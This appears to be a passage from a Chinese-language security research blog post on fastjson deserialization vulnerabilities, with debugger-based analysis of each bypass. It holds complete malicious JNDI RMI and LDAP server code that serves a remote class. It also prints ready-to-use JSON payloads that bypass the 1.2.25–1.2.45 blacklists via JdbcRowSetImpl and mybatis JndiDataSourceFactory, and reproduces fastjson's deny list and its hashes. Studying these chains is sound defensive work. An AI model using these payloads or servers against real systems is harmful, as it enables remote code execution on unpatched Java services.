parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:38, TemplatesImpl_POC (org.example.fastjson_1_2_24)

一些问题总结

恶意类为什么要继承AbstractTranslet类?

直接跟,调用堆栈如下

1
2
3
4
defineTransletClasses:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:451, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
main:32, TemplatesImpl_Test (org.example.fastjson_1_2_24)

image-20240614050729537

只有当要加载的类,父类等于com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet时,才能有_transletIndex = i这样才能使得我们的(AbstractTranslet) _class[_transletIndex].newInstance()语句能正常执行。而这条语句,才是正常触发命令的语句,因为加载类之后还需要实例化,这一句刚好是对我们加载的恶意类进行实例化。

image-20240614050954801

为什么需要对_bytecodes进行Base64编码

调试过程中已经说明。对_bytecodes赋值前会进行base64解码。调试堆栈如下

image-20240618172731962

为什么需要设置_tfactory为{}

因为在TemplatesImpl#defineTransletClasses中会调用_tfactory的一个方法,如果为_tfactory为null会报错。image-20240618173038044

那它的值应该为TransformerFactoryImpl对象,为什么我们传入的是{}

JavaBeanDeserializer#deserialze中,如果_tfactory值为空,会自动创建对应的实例对象,然后返回创建的这个实例对象。

image-20240618174048503

image-20240618173958508

JdbcRowSetImpl的利用链

基于JdbcRowSetImpl的利用链主要有两种利用方式,即JNDI+RMI和JNDI+LDAP,都是属于基于Bean Property类型的JNDI的利用方式。

JNDI + RMI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example.JNDIServer;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
//http://127.0.0.1:7777/JNDIEvilCode.class即可
Reference reference = new Reference("Exloit",
"JNDIEvilCode","http://127.0.0.1:7777/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
1
2
3
4
5
6
7
8
9
10
11
package org.example.fastjson_1_2_24;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImpl_RMI_POC {
public static void main(String args[]){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
// JSON.parseObject(payload);
}
}

JNDI+LDAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package org.example.JNDIServer;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


// jndi 绕过 jdk8u191 之前的攻击
public class JNDILdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:7777/#JNDIEvilCode";
int port = 1099;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}
1
2
3
4
5
6
7
8
9
10
11
package org.example.fastjson_1_2_24;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImpl_JNDI_POC {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Exploit\", \"autoCommit\":true}";
// JSON.parse(payload);
JSON.parseObject(payload);
}
}

两种方式大差不差,主要是针对不同版本jdk,因为这是基于JNDI注入的攻击。

调试分析

并不复杂,前面和TemplatesImpl链差不多,只是中间有段临时代码。

断点直接打到com.sun.rowset.JdbcRowSetImpl的setAutoCommit和setDataSourceName两个函数,我们的payload设置了dataSourceName和autoCommit值,因此会反序列化会调用setAutoCommit和setDataSourceName。

先进入setAutoCommit,调用了父类的setAutoCommit,参数是我们设置的恶意服务地址。

image-20240618195133168

然后dataSoutce设置为恶意服务地址。

image-20240618195210821

然后进入到setAutoCommit,调用JdbcRowSetImpl#connect方法

image-20240618195505330

然后发现调用了熟悉的lookup,参数是恶意服务地址,接下就是熟悉的JNDI注入了。

image-20240618195642592

fastjson修复手段

我们先看相比于fastjson1.2.24,作出了什么改变。
将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数

image-20240618203815699

进入checkAutoType函数,大致就是黑白名单对反序列化的类型过滤,如果开启了autoTypeSupport,就先白名单,再黑名单,否则就先黑名单,再白名单。默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,然后遍历acceptList

image-20240618204240304

image-20240618204322790

白名单(acceptList)默认为空,黑名单(denyList)有如下类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

autoTypeSupport

关于autoTypeSupport的知识,我直接引用drunkbaby师傅的。

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao

利用链

下面内容来自LeadroyaL/fastjson-blacklist (github.com),可以直接github上看。

fastjson 在1.2.42开始,把原本明文的黑名单改成了哈希过的黑名单,防止安全研究者对其进行研究。

fastjson 在1.2.61开始,在https://github.com/alibaba/fastjson/commit/d1c0dff9a33d49e6e7b98a4063da01bbc9325a38中,把黑名单从十进制数变成了十六进制数,可能是为了防止安全研究者进行搜索。

目前的列表

version hash hex-hash name
1.2.42 -8720046426850100497 0x86fc2bf9beaf7aefL org.apache.commons.collections4.comparators
1.2.42 -8109300701639721088 0x8f75f9fa0df03f80L org.python.core
1.2.42 -7966123100503199569 0x9172a53f157930afL org.apache.tomcat
1.2.42 -7766605818834748097 0x9437792831df7d3fL org.apache.xalan
1.2.42 -6835437086156813536 0xa123a62f93178b20L javax.xml
1.2.42 -4837536971810737970 0xbcdd9dc12766f0ceL org.springframework.
1.2.42 -4082057040235125754 0xc7599ebfe3e72406L org.apache.commons.beanutils
1.2.42 -2364987994247679115 0xdf2ddff310cdb375L org.apache.commons.collections.Transformer
1.2.42 -1872417015366588117 0xe603d6a51fad692bL org.codehaus.groovy.runtime
1.2.42 -254670111376247151 0xfc773ae20c827691L java.lang.Thread
1.2.42 -190281065685395680 0xfd5bfc610056d720L javax.net.
1.2.42 313864100207897507 0x45b11bc78a3aba3L com.mchange
1.2.42 1203232727967308606 0x10b2bdca849d9b3eL org.apache.wicket.util
1.2.42 1502845958873959152 0x14db2e6fead04af0L java.util.jar.
1.2.42 3547627781654598988 0x313bb4abd8d4554cL org.mozilla.javascript
1.2.42 3730752432285826863 0x33c64b921f523f2fL java.rmi
1.2.42 3794316665763266033 0x34a81ee78429fdf1L java.util.prefs.
1.2.42 4147696707147271408 0x398f942e01920cf0L com.sun.
1.2.42 5347909877633654828 0x4a3797b30328202cL java.util.logging.
1.2.42 5450448828334921485 0x4ba3e254e758d70dL org.apache.bcel
1.2.42 5751393439502795295 0x4fd10ddc6d13821fL java.net.Socket
1.2.42 5944107969236155580 0x527db6b46ce3bcbcL org.apache.commons.fileupload
1.2.42 6742705432718011780 0x5d92e6ddde40ed84L org.jboss
1.2.42 7179336928365889465 0x63a220e60a17c7b9L org.hibernate
1.2.42 7442624256860549330 0x6749835432e0f0d2L org.apache.commons.collections.functors
1.2.42 8838294710098435315 0x7aa7ee3627a19cf3L org.apache.myfaces.context.servlet
1.2.43 -2262244760619952081 0xe09ae4604842582fL java.net.URL
1.2.46 -8165637398350707645 0x8eadd40cb2a94443L junit.
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
1.2.46 -7921218830998286408 0x92122d710e364fb8L org.osjava.sj.
1.2.46 -7768608037458185275 0x94305c26580f73c5L org.apache.log4j.
1.2.46 -6179589609550493385 0xaa3daffdb10c4937L org.logicalcobwebs.
1.2.46 -5194641081268104286 0xb7e8ed757f5d13a2L org.apache.logging.
1.2.46 -3935185854875733362 0xc963695082fd728eL org.apache.commons.dbcp
1.2.46 -2753427844400776271 0xd9c9dbf6bbd27bb1L com.ibatis.sqlmap.engine.datasource
1.2.46 -1589194880214235129 0xe9f20bad25f60807L org.jdom.
1.2.46 1073634739308289776 0xee6511b66fd5ef0L org.slf4j.
1.2.46 5688200883751798389 0x4ef08c90ff16c675L javassist.
1.2.46 7017492163108594270 0x616323f12c2ce25eL oracle.net
1.2.46 8389032537095247355 0x746bd4a53ec195fbL org.jaxen.
1.2.48 1459860845934817624 0x144277b467723158L java.net.InetAddress
1.2.48 8409640769019589119 0x74b50bb9260e31ffL java.lang.Class
1.2.49 4904007817188630457 0x440e89208f445fb9L com.alibaba.fastjson.annotation
1.2.59 5100336081510080343 0x46c808a4b5841f57L org.apache.cxf.jaxrs.provider.
1.2.59 6456855723474196908 0x599b5c1213a099acL ch.qos.logback.
1.2.59 8537233257283452655 0x767a586a5107feefL net.sf.ehcache.transaction.manager.
1.2.60 3688179072722109200 0x332f0b5369a18310L com.zaxxer.hikari.
1.2.61 -4401390804044377335 0xc2eb1e621f439309L flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61 -1650485814983027158 0xe9184be55b1d962aL org.apache.openjpa.ee.
1.2.61 -1251419154176620831 0xeea210e8da2ec6e1L oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61 -9822483067882491 0xffdd1a80f1ed3405L com.mysql.cj.jdbc.admin.
1.2.61 99147092142056280 0x1603dc147a3e358L oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61 3114862868117605599 0x2b3a37467a344cdfL org.apache.ibatis.parsing.
1.2.61 4814658433570175913 0x42d11a560fc9fba9L org.apache.axis2.jaxws.spi.handler.
1.2.61 6511035576063254270 0x5a5bd85c072e5efeL jodd.db.connection.
1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration
1.2.62 -9164606388214699518 0x80d0c70bcc2fea02L org.apache.ibatis.executor.
1.2.62 -8649961213709896794 0x87f52a1b07ea33a6L net.sf.cglib.
1.2.62 -6316154655839304624 0xa85882ce1044c450L oracle.net.
1.2.62 -5764804792063216819 0xafff4c95b99a334dL com.mysql.cj.jdbc.MysqlDataSource
1.2.62 -4608341446948126581 0xc00be1debaf2808bL jdk.internal.
1.2.62 -4438775680185074100 0xc2664d0958ecfe4cL aj.org.objectweb.asm.
1.2.62 -3319207949486691020 0xd1efcdf4b3316d34L oracle.jdbc.
1.2.62 -2192804397019347313 0xe1919804d5bf468fL org.apache.commons.collections.comparators.
1.2.62 -2095516571388852610 0xe2eb3ac7e56c467eL net.sf.ehcache.hibernate.
1.2.62 4750336058574309 0x10e067cd55c5e5L com.mysql.cj.log.
1.2.62 218512992947536312 0x3085068cb7201b8L org.h2.jdbcx.
1.2.62 823641066473609950 0xb6e292fa5955adeL org.apache.commons.logging.
1.2.62 1534439610567445754 0x154b6cb22d294cfaL org.apache.ibatis.reflection.
1.2.62 1818089308493370394 0x193b2697eaaed41aL org.h2.server.
1.2.62 2164696723069287854 0x1e0a8c3358ff3daeL org.apache.ibatis.datasource.
1.2.62 2653453629929770569 0x24d2f6048fef4e49L org.objectweb.asm.
1.2.62 2836431254737891113 0x275d0732b877af29L flex.messaging.util.concurrent.
1.2.62 3089451460101527857 0x2adfefbbfe29d931L org.apache.ibatis.javassist.
1.2.62 3256258368248066264 0x2d308dbbc851b0d8L java.lang.UNIXProcess
1.2.62 3718352661124136681 0x339a3e0b6beebee9L org.apache.ibatis.ognl.
1.2.62 4046190361520671643 0x3826f4b2380c8b9bL com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62 4841947709850912914 0x43320dc9d2ae0892L org.codehaus.jackson.
1.2.62 6280357960959217660 0x5728504a6d454ffcL org.apache.ibatis.scripting.
1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L org.apache.commons.proxy.
1.2.62 6734240326434096246 0x5d74d3e5b9370476L com.mysql.cj.jdbc.MysqlXADataSource
1.2.62 7123326897294507060 0x62db241274397c34L org.apache.commons.collections.functors.
1.2.62 8488266005336625107 0x75cc60f5871d0fd3L org.apache.commons.configuration
1.2.66 -2439930098895578154 0xde23a0809a8b9bd6L javax.script.
1.2.66 -582813228520337988 0xf7e96e74dfa58dbcL javax.sound.
1.2.66 -26639035867733124 0xffa15bf021f1e37cL javax.print.
1.2.66 386461436234701831 0x55cfca0f2281c07L javax.activation.
1.2.66 1153291637701043748 0x100150a253996624L javax.tools.
1.2.66 1698504441317515818L 0x17924cca5227622aL javax.management.
1.2.66 7375862386996623731L 0x665c53c311193973L org.apache.xbean.
1.2.66 7658177784286215602L 0x6a47501ebb2afdb2L org.eclipse.jetty.
1.2.66 8055461369741094911L 0x6fcabf6fa54cafffL javax.naming.
1.2.67 -7775351613326101303L 0x941866e73beff4c9L org.apache.shiro.realm.
1.2.67 -6025144546313590215L 0xac6262f52c98aa39L org.apache.http.conn.
1.2.67 -5939269048541779808L 0xad937a449831e8a0L org.quartz.
1.2.67 -5885964883385605994L 0xae50da1fad60a096L com.taobao.eagleeye.wrapper
1.2.67 -3975378478825053783L 0xc8d49e5601e661a9L org.apache.http.impl.
1.2.67 -2378990704010641148L 0xdefc208f237d4104L com.ibatis.
1.2.67 -905177026366752536L 0xf3702a4a5490b8e8L org.apache.catalina.
1.2.67 2660670623866180977L 0x24ec99d5e7dc5571L org.apache.http.auth.
1.2.67 2731823439467737506L 0x25e962f1c28f71a2L br.com.anteros.
1.2.67 3637939656440441093L 0x327c8ed7c8706905L com.caucho.
1.2.67 4254584350247334433L 0x3b0b51ecbf6db221L org.apache.http.cookie.
1.2.67 5274044858141538265L 0x49312bdafb0077d9L org.javasimon.
1.2.67 5474268165959054640L 0x4bf881e49d37f530L org.apache.cocoon.
1.2.67 5596129856135573697L 0x4da972745feb30c1L org.apache.activemq.jms.pool.
1.2.67 6854854816081053523L 0x5f215622fb630753L org.mortbay.jetty.
1.2.68 -3077205613010077203L 0xd54b91cc77b239edL org.apache.shiro.jndi.
1.2.68 -2825378362173150292L 0xd8ca3d595e982bacL org.apache.ignite.cache.jta.
1.2.68 2078113382421334967L 0x1cd6f11c6a358bb7L javax.swing.J
1.2.68 6007332606592876737L 0x535e552d6f9700c1L org.aoju.bus.proxy.provider.
1.2.68 9140390920032557669L 0x7ed9311d28bf1a65L java.awt.p
1.2.68 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.69 -8024746738719829346L 0x90a25f5baa21529eL java.io.Serializable
1.2.69 -5811778396720452501L 0xaf586a571e302c6bL java.io.Closeable
1.2.69 -3053747177772160511L 0xd59ee91f0b09ea01L oracle.jms.AQ
1.2.69 -2114196234051346931L 0xe2a8ddba03e69e0dL java.util.Collection
1.2.69 -2027296626235911549L 0xe3dd9875a2dc5283L java.lang.Iterable
1.2.69 -2939497380989775398L 0xd734ceb4c3e9d1daL java.lang.Object
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 3247277300971823414L 0x2d10a5801b9d6136L java.lang.Cloneable
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 7222019943667248779L 0x6439c4dff712ae8bL java.util.EventListener
1.2.70 -5076846148177416215L 0xb98b6b5396932fe9L org.apache.commons.collections4.Transformer
1.2.70 -4703320437989596122L 0xbeba72fb1ccba426L org.apache.commons.collections4.functors
1.2.70 -4314457471973557243L 0xc41ff7c9c87c7c05L org.jdom2.transform.
1.2.70 -2533039401923731906L 0xdcd8d615a6449e3eL org.apache.hadoop.shaded.com.zaxxer.hikari.
1.2.70 156405680656087946L 0x22baa234c5bfb8aL com.p6spy.engine.
1.2.70 1214780596910349029L 0x10dbc48446e0dae5L org.apache.activemq.pool.
1.2.70 3085473968517218653L 0x2ad1ce3a112f015dL org.apache.aries.transaction.
1.2.70 3129395579983849527L 0x2b6dd8b3229d6837L org.apache.activemq.ActiveMQConnectionFactory
1.2.70 4241163808635564644L 0x3adba40367f73264L org.apache.activemq.spring.
1.2.70 7240293012336844478L 0x647ab0224e149ebeL org.apache.activemq.ActiveMQXAConnectionFactory
1.2.70 7347653049056829645L 0x65f81b84c1d920cdL org.apache.commons.jelly.
1.2.70 7617522210483516279L 0x69b6e0175084b377L org.apache.axis2.transport.jms.
1.2.71 -4537258998789938600L 0xc1086afae32e6258L java.io.FileReader
1.2.71 -4150995715611818742L 0xc664b363baca050aL java.io.ObjectInputStream
1.2.71 -2995060141064716555L 0xd66f68ab92e7fef5L java.io.FileInputStream
1.2.71 -965955008570215305L 0xf2983d099d29b477L java.io.ObjectOutputStream
1.2.71 -219577392946377768L 0xfcf3e78644b98bd8L java.io.DataOutputStream
1.2.71 2622551729063269307L x24652ce717e713bbL java.io.PrintWriter
1.2.71 2930861374593775110L 0x28ac82e44e933606L java.io.Buffered
1.2.71 4000049462512838776L 0x378307cb0111e878L java.io.InputStreamReader
1.2.71 4193204392725694463L 0x3a31412dbb05c7ffL java.io.OutputStreamWriter
1.2.71 5545425291794704408L 0x4cf54eec05e3e818L java.io.FileWriter
1.2.71 6584624952928234050L 0x5b6149820275ea42L java.io.FileOutputStream
1.2.71 7045245923763966215L 0x61c5bdd721385107L java.io.DataInputStream
1.2.83 -8754006975464705441L 0x868385095a22725fL org.apache.commons.io.
1.2.83 -8382625455832334425L 0x8baaee8f9bf77fa7L org.mvel2.
1.2.83 -6088208984980396913L 0xab82562f53e6e48fL kotlin.reflect.
1.2.83 -4733542790109620528L 0xbe4f13e96a6796d0L com.googlecode.aviator.
1.2.83 -1363634950764737555L 0xed13653cb45c4bedL org.aspectj.
1.2.83 -803541446955902575L 0xf4d93f4fb3e3d991L org.dom4j.
1.2.83 860052378298585747L 0xbef8514d0b79293L org.apache.commons.cli.
1.2.83 1268707909007641340L 0x119b5b1f10210afcL com.google.common.eventbus.
1.2.83 3058452313624178956L 0x2a71ce2cc40a710cL org.thymeleaf.
1.2.83 3740226159580918099L 0x33e7f3e02571b153L org.junit.
1.2.83 3977090344859527316L 0x37317698dcfce894L org.mockito.asm.
1.2.83 4319304524795015394L 0x3bf14094a524f0e2L com.google.common.io.
1.2.83 5120543992130540564L 0x470fd3a18bb39414L org.mockito.runners.
1.2.83 5916409771425455946L 0x521b4f573376df4aL org.mockito.cglib.
1.2.83 6090377589998869205L 0x54855e265fe1dad5L com.google.common.reflect.
1.2.83 7164889056054194741L 0x636ecca2a131b235L org.mockito.stubbing.
1.2.83 8711531061028787095L 0x78e5935826671397L org.apache.commons.codec.
1.2.83 8735538376409180149L 0x793addded7a967f5L ognl.
1.2.83 8861402923078831179L 0x7afa070241b8cc4bL com.google.common.util.concurrent.
1.2.83 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.83 9144212112462101475L 0x7ee6c477da20bbe3L com.google.common.net.

目前未知的列表

version hash hex-hash name
1.2.42 33238344207745342 0x761619136cc13eL
1.2.67 -831789045734283466L 0xf474e44518f26736L
1.2.71 3452379460455804429L 0x2fe950d3ea52ae0dL
1.2.78 -8614556368991373401L 0x8872f29fd0b0b7a7L
1.2.78 -5472097725414717105L 0xb40f341c746ec94fL
1.2.78 -3750763034362895579L 0xcbf29ce484222325L
1.2.78 -1800035667138631116L 0xe704fd19052b2a34L
1.2.78 -831789045734283466L 0xf474e44518f26736L
1.2.78 33238344207745342L 0x761619136cc13eL
1.2.78 3452379460455804429L 0x2fe950d3ea52ae0dL
1.2.78 4215053018660518963L 0x3a7ee0635eb2bc33L
1.2.83 -8614556368991373401L 0x8872f29fd0b0b7a7L
1.2.83 -3750763034362895579L 0xcbf29ce484222325L
1.2.83 -1800035667138631116L 0xe704fd19052b2a34L
1.2.83 4215053018660518963L 0x3a7ee0635eb2bc33L

1.2.25 - 1.2.41 补丁绕过(需要开启AutoType)

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

payload

1
2
3
4
5
6
7
8
9
10
11
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://localhost:1099/Exploit",
"autoCommit":true
}

{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://localhost:1099/Exploit",
"autoCommit":true
}

调试

很显然与之前的payload相比,com.sun.rowset.JdbcRowSetImpl类名的前面加了L、后面加了;就绕过了黑名单过滤。很明显在TypeUtils#loadClass函数中,如果className以L开头,分号结尾,就会去掉L,然后在加载。条件时只有开启了autoType或者expectClass不为空也就是指定了Class对象时才会调用TypeUtils.loadClass加载,否则fastjson会默认禁止加载该类。

image-20240619035219066

1.2.25-1.2.42 补丁绕过(需要开启AutoType)

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

payload

1
2
3
4
5
6
7
8
9
10
11
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://localhost:1099/Exploit",
"autoCommit":true
}

{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://localhost:1099/Exploit",
"autoCommit":true
}

调试

在进行检测之前,会先对LLcom.sun.rowset.JdbcRowSetImpl;;过滤掉一次L和;,因此可以双写,是的过滤掉一次之后任然可以绕过黑名单检测。

image-20240619041911836

然后进入TypeUtils#loadClass方法,传入的参数还是LLcom.sun.rowset.JdbcRowSetImpl;;,那为什么可以加载com.sun.rowset.JdbcRowSetImpl呢。

image-20240619042209460

可以看到TypeUtils#loadClass中会过滤掉L;然后加载类,但是注意我们进入的是TypeUtils重写的loadClass,通过这个loadClass有来到了一次原来的loadClass,比如loadClassA里面过滤一次L;,然后调用了loadClassB,通过loadClassB再次调用了loadClassA,在第二次loadClassA又会过滤一次。过滤完之后又会重复一次什么操作,这是第三次我们检查不到L;于是可以正常加载com.sun.rowset.JdbcRowSetImpl类了。

image-20240619042339972

1.2.25-1.2.43 补丁绕过(需要开启AutoType)

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

payload

1
2
3
4
5
6
7
8
9
10
11
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"rmi://localhost:1099/Exploit",
"autoCommit":true
}

{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1099/Exploit",
"autoCommit":true
}

调试分析

来到checkAutoType函数,这里的className是我们的@type,不过会先讲$替换成.,这里有个if判断,大概自己试了一下,第一个if判断了是否是L开头;结尾的类名,第二次就是判断是否是LL开头的类名,满足第一个if不满足第二个if就把开头的L和结尾的;去掉然后再去后续操作,满足两个if直接抛出异常。

image-20240621174551447

接着就是白名单和黑名单校验了。不过都是用字符串的哈希值校验

image-20240621175900559

在TypeUtils.loadClass函数中,经过这个函数过后,我们可以加载出来clazz,所以跟进去看看是怎么加载的。

image-20240621180338814

跟到1196行,发现会判断第一个字符是否是[,然后就会将这个符号去掉再加载类,然后我们就加载出了com.sun.rowset.JdbcRowSetImpl,然后通过Array.newInstance(componentType, 0).getClass();这个函数获取返回类。返回的类名是[Lcom.sun.rowset.JdbcRowSetImpl;

image-20240621180912367

接着就去获取该类的反序列化器,然后调用方法去反序列化

image-20240621181658324

然后我们加载的类会赋值给clazz然后通过getComponentType函数得到了com.sun.rowset.JdbcRowSetImpl类。然后调用DefaultJsonParser#parseArray方法。

image-20240621181902647

里面会有一些判断字符后面内容是否是[ {的操作,所以我们的payload需要加上[{

image-20240621182831496

image-20240621183006985

1.2.25-1.2.45补丁绕过(需要开启AutoType)

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.45</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.0</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/Exploit\"}}";
JSON.parse(payload);
}
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":
{
"data_source":"rmi://localhost:1099/Exploit"
}
}

{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":
{
